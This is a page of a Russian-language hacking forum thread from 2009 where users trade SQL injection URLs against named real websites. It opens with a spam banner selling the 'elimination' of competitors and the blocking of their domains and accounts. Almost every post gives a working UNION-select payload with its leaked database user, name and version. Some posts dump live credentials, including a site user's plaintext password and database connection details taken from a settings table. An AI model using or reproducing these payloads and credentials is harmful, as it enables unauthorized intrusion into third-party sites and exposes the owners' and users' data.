УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 918 из 1604

918

Опции темы

Поиск в этой теме

Опции просмотра

#9171

04.05.2009, 23:10

-m0rgan-

Постоянный

Регистрация: 29.09.2008

Сообщений: 553

Провел на форуме:
2584134

Репутация: 519

Отправить сообщение для -m0rgan- с помощью ICQ

Код:

http://www.autokom.cz/newsdetail.php?id=-1+union+all+select+0,1,2,3,4,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),6--

юзер/бд/версия:

Код:

www_autokom_cz@localhost : www_autokom_cz : 5.0.45

#9172

04.05.2009, 23:57

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

Провел на форуме:
6075534

Репутация: 2731

Отправить сообщение для mailbrush с помощью ICQ

Код:

http://www.black-time.net/usr.php?act=com&id_obj=-1+union+select+1,2,3,4,5,6,UNHEX(HEX(concat_ws(0x3a,user(),database(),version()))),8,9,10,11,12,13,14

black-time@ipx10233.ipxserver.de:black-time:4.1.8-standard

#9173

05.05.2009, 02:08

Skofield

Участник форума

Регистрация: 27.08.2008

Сообщений: 209

Провел на форуме:
1759582

Репутация: 394

http://www.ftlauderdalenews.net (PR3)

Код:

http://www.ftlauderdalenews.net/news.php?id=1+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8+from+users/*

4.1.20-max-log:Promena_news:Promena_pubuser@76.162.254.225

Код:

http://www.ftlauderdalenews.net/news.php?id=1+union+select+1,2,3,concat_ws(0x3a,password,name),5,6,7,8+from+users/*

name : Ray Brasted
password : 1x2y3z

#9174

05.05.2009, 08:23

-m0rgan-

Постоянный

Регистрация: 29.09.2008

Сообщений: 553

Провел на форуме:
2584134

Репутация: 519

Код:

http://www.cfs-nl.ca/media-read.php?id=-1+union+all+select+0,1,2,3,4,5,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),7,8,9,10,11,12--

user/db/version:

Код:

cfsnl_admin@localhost : cfsnl_admin_old : 5.0.45-log

#9175

05.05.2009, 08:40

edichka

Новичок

Регистрация: 31.01.2009

Сообщений: 22

Провел на форуме:
451572

Репутация: 34

cialis-cialis.com

Код HTML:

http://www.cialis-cialis.com/art.php?id=-29%20union%20select%201,2,unhex(hex(concat_ws(0x3a,version(),user(),database()))),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9

4.1.10-standard:poppen_shop3@localhost:poppen_shop3

В австрийском гугле стоит по хорошим запросам =)

____________________________________________

Код:

http://www.talkeetnachamber.org PR4

http://www.talkeetnachamber.org/news.php?id=-11%20union%20select%201,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,0,1


5.0.51a-log:talkeetn_db01:talkeetn_db01@boscgi1001.eigbox.net

Существует интересная табличка с данными для подключения к БД 

http://www.talkeetnachamber.org/news.php?id=-11%20union%20select%201,2,3,group_concat(column_name),5,6,7,8,9,0,1%20from%20information_schema.columns%20where%20table_name=0x7068704d795365617263685f73657474696e6773

Действуем =)

http://www.talkeetnachamber.org/news.php?id=-11%20union%20select%201,2,3,concat_ws(0x3a3a3a,DBName,DBUser,DBPassword,DBHost),5,6,7,8,9,0,1%20from%20phpMySearch_settings



DBName,DBUser,DBPassword,DBHost
talkeetn_db01:::talkeetn_db01:::freckles:::localhost

Последний раз редактировалось edichka; 05.05.2009 в 10:50..

#9176

05.05.2009, 11:20

RulleR

Reservists Of Antichat - Level 6

Регистрация: 12.06.2008

Сообщений: 157

Провел на форуме:
3217552

Репутация: 1668

Отправить сообщение для RulleR с помощью ICQ

Отправить сообщение для RulleR с помощью Yahoo

[PR 4]

Код:

http://www.golf-in-japan.com/prefcourses/data.php?ID=-178+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--

4.0.27-log:golfinja:golfinja@mynah3.web.gol.com

[PR 0]

Код:

http://www.okna-astem.ru/data.php?id=-6+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

5.0.51a-community:db_oknaastem1:oknaastem1@localhost

#9177

05.05.2009, 13:11

HAXTA4OK

Reservists Of Antichat - Level 6

Регистрация: 15.03.2009

Сообщений: 560

Провел на форуме:
4358210

Репутация: 2017

http://www.cash.ge/doors.php?id=1'+union+select+1,2,concat_ws(0x3a,ve rsion(),da tabase(),u ser()),4/*&lang=eng

4.1.22-standard:cashge_aks:cashge_aks@localhost
------------------------------------------------------------------------
Грузинский сайт про что то там
http://www.muskie.ge/acus.php?lan_id=1&id=-1+union+select+1,2,concat_ws(0x3a,ver sion(),databa se(),user()),4,5--

4.0.27:muskie_ge:muskie_ge@localhost

PR: 2
------------------------------------------------------------------------
http://mitex.ge/index.php?lang=eng&request=news&id=-1+union+select+1,concat_ws(0x3a,version(),data base(),us er()),3,4,5--

4.1.7-max-log:mitex:mitex@localhost

Последний раз редактировалось HAXTA4OK; 05.05.2009 в 15:05..

#9178

05.05.2009, 15:21

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

Провел на форуме:
6075534

Репутация: 2731

Код:

http://acthra.anu.edu.au/cases/case.php?id=86

Blind - union почему-то не пашет.

V: 5.0.45-log
U: anu_human_rights@doiweb1.-css.anu.edu.eu
DB: regent_acthra

#9179

05.05.2009, 15:21

-m0rgan-

Постоянный

Регистрация: 29.09.2008

Сообщений: 553

Провел на форуме:
2584134

Репутация: 519

Код:

http://www.tosport.ru/detail_1247'.html

Код:

http://www.tosport.ru/detail_-1247.html/**/union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/from/**/information_schema.tables--

C неё берём таблицу cizar_admin

смотрим её содержимое:

Код:

http://www.tosport.ru/detail_-1247.html/**/union/**/select/**/1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/from/**/information_schema.columns/**/where/**/table_name=0x63697a61725f61646d696e--

Код:

id,access,login,password,name,position,address,phone,email,description,pactive,menu_access

Дальше либо я туплю, либо...кароче вывод не получается

Данные бд:

Код:

http://www.tosport.ru/detail_-1247.html/**/union/**/select/**/1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

#9180

05.05.2009, 15:22

HAXTA4OK

Reservists Of Antichat - Level 6

Регистрация: 15.03.2009

Сообщений: 560

Провел на форуме:
4358210

Репутация: 2017

Опять грузия

http://www.webmix.ge/g_viewweb.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2,33,34,35,36,37,38,concat_ws(0x3a,version(),datab ase(),us er()),40--

5.0.75-community-log:webmixin_portfolio:webmixin_portfol@localhost

ТИЦ: 20
PR: 5